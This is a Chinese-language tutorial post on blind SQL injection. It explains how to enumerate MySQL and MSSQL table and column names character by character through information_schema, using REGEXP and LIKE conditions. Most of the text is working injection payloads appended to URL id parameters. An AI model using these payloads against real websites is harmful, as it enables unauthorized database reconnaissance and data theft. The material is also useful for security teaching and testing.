1. 程式人生 > >sql 盲注之利用regexp得到庫名,表名,列名

sql 盲注之利用regexp得到庫名,表名,列名

我們都已經知道,在MYSQL 5+中 information_schema庫中儲存了所有的 庫名,表明以及欄位名資訊。故攻擊方式如下:

1. 判斷第一個表名的第一個字元是否是a-z中的字元,其中blind_sqli是假設已知的庫名。

注:正則表示式中 ^[a-z] 表示字串中開始字元是在 a-z範圍內

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2. 判斷第一個字元是否是a-n中的字元

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3. 確定該字元為n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4. 表示式的更換如下

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

這時說明表名為news ,要驗證是否是該表明 正則表示式為'^news$',但是沒這必要 直接判斷 table_name = ’news‘ 不就行了。

5.接下來猜解其它表了 (只需要修改 limit 1,1 -> limit 2,1就可以對接下來的表進行盲注了)這裡是錯誤的!!!

regexp匹配的時候會在所有的項都進行匹配。例如:

security資料庫的表有多個,users,email等

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正確的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正確的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正確的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正確

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正確

實驗表明:在limit 0,1下,regexp會匹配所有的項。我們在使用regexp時,要注意有可能有多個項,同時要一個個字元去爆破。類似於上述第一條和第二條。而此時limit 0,1此時是對於where table_schema='security' limit 0,1。table_schema='security'已經起到了限定作用了,limit有沒有已經不重要了。

-----------------------------------------------MSSQL---------------------------------------------------

MSSQL所用的正則表示式並不是標準正則表示式 ,該表示式使用 like關鍵詞

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )

該查詢語句中,select top 1 是一個組合哦,不要看錯了。

如果要查詢其它的表名,由於不能像mysql哪樣用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意義是:表名沒有在前x行裡,其實查詢的就是第x+1行。

例如 查詢第二行的表名:

default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )

表示式的順序:

'n[a-z]%' -> 'ne[a-z]%' -> 'new[a-z]%' -> 'news[a-z]%' -> TRUE

之所以表示式 news[a-z]查詢後返回正確是應為%代表0-n個字元,使用"_"則只能代表一個字元。故確認後續是否還有字元克用如下表達式

'news%' TRUE -> 'news_' FALSE

同理可以用相同的方法獲取欄位,值。這裡就不再詳細描述了。